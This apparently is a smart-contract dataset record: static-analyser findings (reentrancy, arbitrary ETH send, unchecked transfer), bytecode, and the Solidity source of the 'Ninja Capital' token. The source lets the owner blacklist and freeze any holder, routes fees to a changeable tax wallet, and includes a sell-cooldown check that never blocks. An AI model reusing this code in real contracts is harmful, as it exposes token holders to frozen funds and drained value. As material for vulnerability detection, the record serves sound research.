fffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119b2573d6000803e3d6000fd5b5050565b60006119ce6002600b5461101090919063ffffffff16565b905060006119e782600a54611c2790919063ffffffff16565b90506000611a02600b54600a54611c2790919063ffffffff16565b90506000611a2b82611a1d8588610f9590919063ffffffff16565b61101090919063ffffffff16565b9050611a3681611ec0565b611a99611a4c828761214890919063ffffffff16565b611a7185611a638847610f9590919063ffffffff16565b61101090919063ffffffff16565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611aa0565b5050505050565b6001601160156101000a81548160ff021916908315150217905550611ae830601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b8152600401611b4f96959493929190612882565b6060604051808303818588803b158015611b6857600080fd5b505af1158015611b7c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ba191906124ff565b5050506000601160156101000a81548160ff021916908315150217905550505050565b60008083118290611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0291906128fe565b60405180910390fd5b5060008385611c1a9190612c0c565b9050809150509392505050565b6000808284611c369190612bb6565b905083811015611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7290612980565b60405180910390fd5b8091505092915050565b600080611c9183612192565b91509150611ce783600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611eb19190612a80565b60405180910390a35050505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef857611ef7612ea2565b5b604051908082528060200260200182016040528015611f265781602001602082028036833780820191505090505b5090503081600081518110611f3e57611f3d612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fe057600080fd5b505afa158015611ff4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612018919061232f565b8160018151811061202c5761202b612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f7959493929190612a9b565b600060405180830381600087803b15801561211157600080fd5b505af1158015612125573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600061218a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118e6565b905092915050565b60008060006121c06103e86121b260085487610f9590919063ffffffff16565b61101090919063ffffffff16565b905060006121d7828661214890919063ffffffff16565b90508082935093505050915091565b60006121f96121f484612b35565b612b10565b9050808382526020820190508285602086028201111561221c5761221b612ed6565b5b60005b8581101561224c57816122328882612256565b84526020840193506020830192505060018101905061221f565b5050509392505050565b600081359050612265816131c3565b92915050565b60008151905061227a816131c3565b92915050565b600082601f83011261229557612294612ed1565b5b81356122a58482602086016121e6565b91505092915050565b6000815190506122bd816131da565b92915050565b6000813590506122d2816131f1565b92915050565b6000815190506122e7816131f1565b92915050565b6000813590506122fc81613208565b92915050565b60006020828403121561231857612317612ee0565b5b600061232684828501612256565b91505092915050565b60006020828403121561234557612344612ee0565b5b60006123538482850161226b565b91505092915050565b6000806040838503121561237357612372612ee0565b5b600061238185828601612256565b925050602061239285828601612256565b9150509250929050565b6000806000606084860312156123b5576123b4612ee0565b5b60006123c386828701612256565b93505060206123d486828701612256565b92505060406123e5868287016122c3565b9150509250925092565b6000806040838503121561240657612405612ee0565b5b600061241485828601612256565b9250506020612425858286016122c3565b9150509250929050565b60006020828403121561244557612444612ee0565b5b600082013567ffffffffffffffff81111561246357612462612edb565b5b61246f84828501612280565b91505092915050565b60006020828403121561248e5761248d612ee0565b5b600061249c848285016122ae565b91505092915050565b6000602082840312156124bb576124ba612ee0565b5b60006124c9848285016122c3565b91505092915050565b6000602082840312156124e8576124e7612ee0565b5b60006124f6848285016122d8565b91505092915050565b60008060006060848603121561251857612517612ee0565b5b6000612526868287016122d8565b9350506020612537868287016122d8565b9250506040612548868287016122d8565b9150509250925092565b60008060006060848603121561256b5761256a612ee0565b5b6000612579868287016122ed565b935050602061258a868287016122ed565b925050604061259b868287016122ed565b9150509250925092565b60006125b183836125cc565b60208301905092915050565b6125c681612d20565b82525050565b6125d581612ccb565b82525050565b6125e481612ccb565b82525050565b60006125f582612b71565b6125ff8185612b94565b935061260a83612b61565b8060005b8381101561263b57815161262288826125a5565b975061262d83612b87565b92505060018101905061260e565b5085935050505092915050565b61265181612cdd565b82525050565b61266081612d32565b82525050565b600061267182612b7c565b61267b8185612ba5565b935061268b818560208601612d68565b61269481612ee5565b840191505092915050565b60006126ac602883612ba5565b91506126b782612ef6565b604082019050919050565b60006126cf602383612ba5565b91506126da82612f45565b604082019050919050565b60006126f2602283612ba5565b91506126fd82612f94565b604082019050919050565b6000612715601b83612ba5565b915061272082612fe3565b602082019050919050565b6000612738602183612ba5565b91506127438261300c565b604082019050919050565b600061275b602083612ba5565b91506127668261305b565b602082019050919050565b600061277e602983612ba5565b915061278982613084565b604082019050919050565b60006127a1602583612ba5565b91506127ac826130d3565b604082019050919050565b60006127c4602483612ba5565b91506127cf82613122565b604082019050919050565b60006127e7601783612ba5565b91506127f282613171565b602082019050919050565b600061280a601d83612ba5565b91506128158261319a565b602082019050919050565b61282981612d09565b82525050565b61283881612d13565b82525050565b600060208201905061285360008301846125db565b92915050565b600060408201905061286e60008301856125bd565b61287b6020830184612820565b9392505050565b600060c08201905061289760008301896125db565b6128a46020830188612820565b6128b16040830187612657565b6128be6060830186612657565b6128cb60808301856125db565b6128d860a0830184612820565b979650505050505050565b60006020820190506128f86000830184612648565b92915050565b600060208201905081810360008301526129188184612666565b905092915050565b600060208201905081810360008301526129398161269f565b9050919050565b60006020820190508181036000830152612959816126c2565b9050919050565b60006020820190508181036000830152612979816126e5565b9050919050565b6000602082019050818103600083015261299981612708565b9050919050565b600060208201905081810360008301526129b98161272b565b9050919050565b600060208201905081810360008301526129d98161274e565b9050919050565b600060208201905081810360008301526129f981612771565b9050919050565b60006020820190508181036000830152612a1981612794565b9050919050565b60006020820190508181036000830152612a39816127b7565b9050919050565b60006020820190508181036000830152612a59816127da565b9050919050565b60006020820190508181036000830152612a79816127fd565b9050919050565b6000602082019050612a956000830184612820565b92915050565b600060a082019050612ab06000830188612820565b612abd6020830187612657565b8181036040830152612acf81866125ea565b9050612ade60608301856125db565b612aeb6080830184612820565b9695505050505050565b6000602082019050612b0a600083018461282f565b92915050565b6000612b1a612b2b565b9050612b268282612d9b565b919050565b6000604051905090565b600067ffffffffffffffff821115612b5057612b4f612ea2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bc182612d09565b9150612bcc83612d09565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c0157612c00612e15565b5b828201905092915050565b6000612c1782612d09565b9150612c2283612d09565b925082612c3257612c31612e44565b5b828204905092915050565b6000612c4882612d09565b9150612c5383612d09565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c8c57612c8b612e15565b5b828202905092915050565b6000612ca282612d09565b9150612cad83612d09565b925082821015612cc057612cbf612e15565b5b828203905092915050565b6000612cd682612ce9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d2b82612d44565b9050919050565b6000612d3d82612d09565b9050919050565b6000612d4f82612d56565b9050919050565b6000612d6182612ce9565b9050919050565b60005b83811015612d86578082015181840152602081019050612d6b565b83811115612d95576000848401525b50505050565b612da482612ee5565b810181811067ffffffffffffffff82111715612dc357612dc2612ea2565b5b80604052505050565b6000612dd782612d09565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e0a57612e09612e15565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f53656c6c732070726f6869626974656420666f7220746865206669727374203560008201527f206d696e75746573000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f43616e6e6f742073657420666565732061626f7665206d6178696d756d000000600082015250565b6131cc81612ccb565b81146131d757600080fd5b50565b6131e381612cdd565b81146131ee57600080fd5b50565b6131fa81612d09565b811461320557600080fd5b50565b61321181612d13565b811461321c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce4e81bc78750adfead4fc7794aa2afed900832fa866797dc0f2fd31f5cebae764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,249 |
0x33cf4028c580724354475a73f01e7972badaf8b2
|
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
/*
/$$ /$$ /$$$$$$ /$$ /$$ /$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$$ /$$$$$$ /$$
| $$$ | $$|_ $$_/| $$$ | $$ |__ $$ /$$__ $$ /$$__ $$ /$$__ $$| $$__ $$|_ $$_/|__ $$__//$$__ $$| $$
| $$$$| $$ | $$ | $$$$| $$ | $$| $$ \ $$ | $$ \__/| $$ \ $$| $$ \ $$ | $$ | $$ | $$ \ $$| $$
| $$ $$ $$ | $$ | $$ $$ $$ | $$| $$$$$$$$ | $$ | $$$$$$$$| $$$$$$$/ | $$ | $$ | $$$$$$$$| $$
| $$ $$$$ | $$ | $$ $$$$ /$$ | $$| $$__ $$ | $$ | $$__ $$| $$____/ | $$ | $$ | $$__ $$| $$
| $$\ $$$ | $$ | $$\ $$$| $$ | $$| $$ | $$ | $$ $$| $$ | $$| $$ | $$ | $$ | $$ | $$| $$
| $$ \ $$ /$$$$$$| $$ \ $$| $$$$$$/| $$ | $$ | $$$$$$/| $$ | $$| $$ /$$$$$$ | $$ | $$ | $$| $$$$$$$$
|__/ \__/|______/|__/ \__/ \______/ |__/ |__/ \______/ |__/ |__/|__/ |______/ |__/ |__/ |__/|________/
https://t.me/ninjacap
https://t.me/ninjacap
https://t.me/ninjacap
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NinjaCAP is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Ninja Capital";
string public constant symbol = unicode"NINJACAP";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 15;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/5;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy >= 100000000 * 10**9);
require(maxheld >= 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 16 && sell < 16 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105b0578063db92dbb6146105c5578063dcb0e0ad146105da578063dd62ed3e146105fa578063e8078d941461064057600080fd5b8063a3f4782f1461053b578063a9059cbb1461055b578063b515566a1461057b578063c3c8cd801461059b57600080fd5b806373f54a11116100dc57806373f54a11146104a95780638da5cb5b146104c957806394b8d8f2146104e757806395d89b411461050757600080fd5b8063590f897e146104495780636fc3eaec1461045f57806370a0823114610474578063715018a61461049457600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103ba57806340b9a54b146103f357806345596e2e1461040957806349bd5a5e1461042957600080fd5b806327f3a72a14610348578063313ce5671461035d57806331c2d8471461038457806332d873d8146103a457600080fd5b8063104ce66d116101c1578063104ce66d146102bf57806318160ddd146102f75780631940d0201461031257806323b872dd1461032857600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026d5780630b78f9c01461029d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102606040518060400160405280600d81526020016c139a5b9a984810d85c1a5d185b609a1b81525081565b60405161021e9190611a37565b34801561027957600080fd5b5061028d610288366004611ab1565b610655565b604051901515815260200161021e565b3480156102a957600080fd5b506102bd6102b8366004611add565b61066b565b005b3480156102cb57600080fd5b506008546102df906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030357600080fd5b50678ac7230489e80000610214565b34801561031e57600080fd5b50610214600e5481565b34801561033457600080fd5b5061028d610343366004611aff565b610705565b34801561035457600080fd5b50610214610759565b34801561036957600080fd5b50610372600981565b60405160ff909116815260200161021e565b34801561039057600080fd5b506102bd61039f366004611b56565b610769565b3480156103b057600080fd5b50610214600f5481565b3480156103c657600080fd5b5061028d6103d5366004611c1b565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103ff57600080fd5b50610214600a5481565b34801561041557600080fd5b506102bd610424366004611c38565b6107f5565b34801561043557600080fd5b506009546102df906001600160a01b031681565b34801561045557600080fd5b50610214600b5481565b34801561046b57600080fd5b506102bd610896565b34801561048057600080fd5b5061021461048f366004611c1b565b6108c3565b3480156104a057600080fd5b506102bd6108de565b3480156104b557600080fd5b506102bd6104c4366004611c1b565b610952565b3480156104d557600080fd5b506000546001600160a01b03166102df565b3480156104f357600080fd5b5060105461028d9062010000900460ff1681565b34801561051357600080fd5b506102606040518060400160405280600881526020016704e494e4a414341560c41b81525081565b34801561054757600080fd5b506102bd610556366004611add565b6109c0565b34801561056757600080fd5b5061028d610576366004611ab1565b610a15565b34801561058757600080fd5b506102bd610596366004611b56565b610a22565b3480156105a757600080fd5b506102bd610b3b565b3480156105bc57600080fd5b506102bd610b71565b3480156105d157600080fd5b50610214610c13565b3480156105e657600080fd5b506102bd6105f5366004611c5f565b610c2b565b34801561060657600080fd5b50610214610615366004611c7c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064c57600080fd5b506102bd610c9e565b6000610662338484610fe4565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068b57600080fd5b60108210801561069b5750601081105b80156106a85750600a5482105b80156106b55750600b5481105b6106be57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610712848484611108565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610741908490611ccb565b905061074e853383610fe4565b506001949350505050565b6000610764306108c3565b905090565b6008546001600160a01b0316336001600160a01b03161461078957600080fd5b60005b81518110156107f1576000600560008484815181106107ad576107ad611ce2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e981611cf8565b91505061078c565b5050565b6008546001600160a01b0316336001600160a01b03161461081557600080fd5b6000811161085a5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108b657600080fd5b476108c0816116d4565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109085760405162461bcd60e51b815260040161085190611d13565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461097257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161088b565b6008546001600160a01b0316336001600160a01b0316146109e057600080fd5b67016345785d8a00008210156109f557600080fd5b6702c68af0bb140000811015610a0a57600080fd5b600d91909155600e55565b6000610662338484611108565b6000546001600160a01b03163314610a4c5760405162461bcd60e51b815260040161085190611d13565b60005b81518110156107f15760095482516001600160a01b0390911690839083908110610a7b57610a7b611ce2565b60200260200101516001600160a01b031614158015610acc575060075482516001600160a01b0390911690839083908110610ab857610ab8611ce2565b60200260200101516001600160a01b031614155b15610b2957600160056000848481518110610ae957610ae9611ce2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b3381611cf8565b915050610a4f565b6008546001600160a01b0316336001600160a01b031614610b5b57600080fd5b6000610b66306108c3565b90506108c08161170e565b6000546001600160a01b03163314610b9b5760405162461bcd60e51b815260040161085190611d13565b60105460ff1615610be85760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610851565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b600954600090610764906001600160a01b03166108c3565b6008546001600160a01b0316336001600160a01b031614610c4b57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161088b565b6000546001600160a01b03163314610cc85760405162461bcd60e51b815260040161085190611d13565b60105460ff1615610d155760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610851565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d513082678ac7230489e80000610fe4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db39190611d48565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e249190611d48565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e959190611d48565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610ec5816108c3565b600080610eda6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f42573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f679190611d65565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fc0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f19190611d93565b6001600160a01b0383166110465760405162461bc